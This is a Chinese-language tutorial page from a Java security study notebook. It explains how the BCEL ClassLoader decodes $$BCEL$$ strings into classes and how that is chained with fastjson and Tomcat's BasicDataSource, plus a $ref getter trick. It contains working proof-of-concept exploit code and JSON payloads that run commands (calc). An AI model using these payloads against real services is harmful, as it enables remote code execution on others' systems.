> For the complete documentation index, see [llms.txt](https://p4d0rn.gitbook.io/java/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://p4d0rn.gitbook.io/java/prerequisites/lei-jia-zai/bcel.md).

# BCEL

## 0x01 What Is BCEL

BCEL(Byte Code Engineering Library)的全名是Apache Commons BCEL，属于Apache Commons项目下的一个子项目，BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。相较Commons Collections，BCEL被包含在原生JDK中，更容易被利用。

> BCEL Classloader在 JDK < 8u251之前是在rt.jar里面，后被移除

`com.sun.org.apache.bcel.internal.util.ClassLoader`重写了Java内置的`ClassLoader#loadClass()`方法，会判断传入的字符串是否是`$$BCEL$$`开头，如果是的话，将会对这个字符串进行decode。可以理解为是传统字节码的HEX编码，再将反斜线替换成`$`。默认情况下外层还会加一层GZip压缩。

## 0x02 Best Practice

编写恶意类

```java
public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {}
    }
}
```

测试：

```java
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class Test {
    public static void main(String[] args) throws Exception {
        JavaClass javaClass = Repository.lookupClass(Evil.class);
        String encode = Utility.encode(javaClass.getBytes(), true);
        System.out.println(encode);
        // Class.forName("$$BCEL$$" + encode, true, new ClassLoader());
        new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();
    }
}
```

* `Repository`用于将一个`Java Class`先转换成原生字节码
* `Utility`用于将原生的字节码转换成BCEL格式的字节码

我们知道一般的类加载器`loadClass`是传入的全限定类名，它会调用`findClass`根据其设定的搜索URL去找这个字节码文件，读取后再调用`defineClass`加载进来。

而对于这个类加载器，我们是直接将编码后的字节码传入`loadClass`，从利用上来说就不需要远程加载或者文件落地了。

## 0x03 BCEL + fastjson

fastjson网传的三条利用链如下：

* `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`
* `com.sun.rowset.JdbcRowSetImpl`
* `org.apache.tomcat.dbcp.dbcp2.BasicDataSource`

1. 常规的Java字节码的执行，但是需要开启`Feature.SupportNonPublicField`，较鸡肋
2. 利用JNDI注入，但需要服务器出网
3. 不用出网也不用开启`Feature.SupportNonPublicField`，但对JDK版本有限制

```xml
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>8.5.45</version>
</dependency>
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.23</version>
</dependency>
```

调用链`getConnection()->createDataSource()->createConnectionFactory()->createDriver()`

![image-20230125194234991](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-6420a3689523024c890b31e95ba3ab9eb166970b%2Fimage-20230125194234991.png?alt=media)

`Class.forName`第二个参数`initial`为true时，类加载后将会直接执行`static{}`块中的代码。

`driverClassLoader`和`driverClassName`都可以通过fastjson控制

> {
>
> ​ {
>
> ​ "aaa": {
>
> ​ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
>
> ​ "driverClassLoader": {
>
> ​ "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
>
> ​ },
>
> ​ "driverClassName": "$$BCEL$$$l$8b$I$A$..."
>
> ​ }
>
> ​ }: "bbb"
>
> }

![image-20230125194956235](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-84d0f05c217ffba3e12cd009f91fdf3e026f368c%2Fimage-20230125194956235.png?alt=media)

实际上面的getConnection不满足fastjson对自动调用getter的要求

> 满足条件的getter
>
> * 函数名长度大于等于4
> * 非静态方法
> * 以get开头且第4个字母为大写
> * 无参数
> * 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger

在`{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"……}` 这一整段外面再套一层`{}`，这样的话会把这个整体当做一个JSONObject，会把这个当做key，值为bbb

将这个 JSONObject 放在 JSON Key 的位置上，在 JSON 反序列化的时候，FastJson 会对 JSON Key 自动调用 toString() 方法（因为key一定要是String类型）

而且JSONObject是Map的子类，当调用`toString`的时候，会依次调用该类的getter方法获取值。所以会调用到`getConnection`方法

![image-20230125201059313](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-d038790edc9bf8c51b506055929da83dfa6a83e6%2Fimage-20230125201059313.png?alt=media)

> 当fastjson>=1.2.36的时候，可以使用`$ref`方式调用getter
>
> ref是fastjson特有的JSONPath语法，用来引用之前出现的对象
>
> ```java
> public class test {
>     private String cmd;
>
>     public void setCmd(String cmd) {
>         System.out.println("seter call");
>         this.cmd = cmd;
>     }
>
>     public String getCmd() throws IOException {
>         System.out.println("geter call");
>         Runtime.getRuntime().exec(cmd);
>         return cmd;
>     }
> }
> ```
>
> ```java
> public class ref_fastjson {
>     public static void main(String[] args) {
>         ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
>         String payload = "[{\"@type\":\"com.demo.fastjson.test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
>         JSON.parse(payload);
>     }
> }
> ```
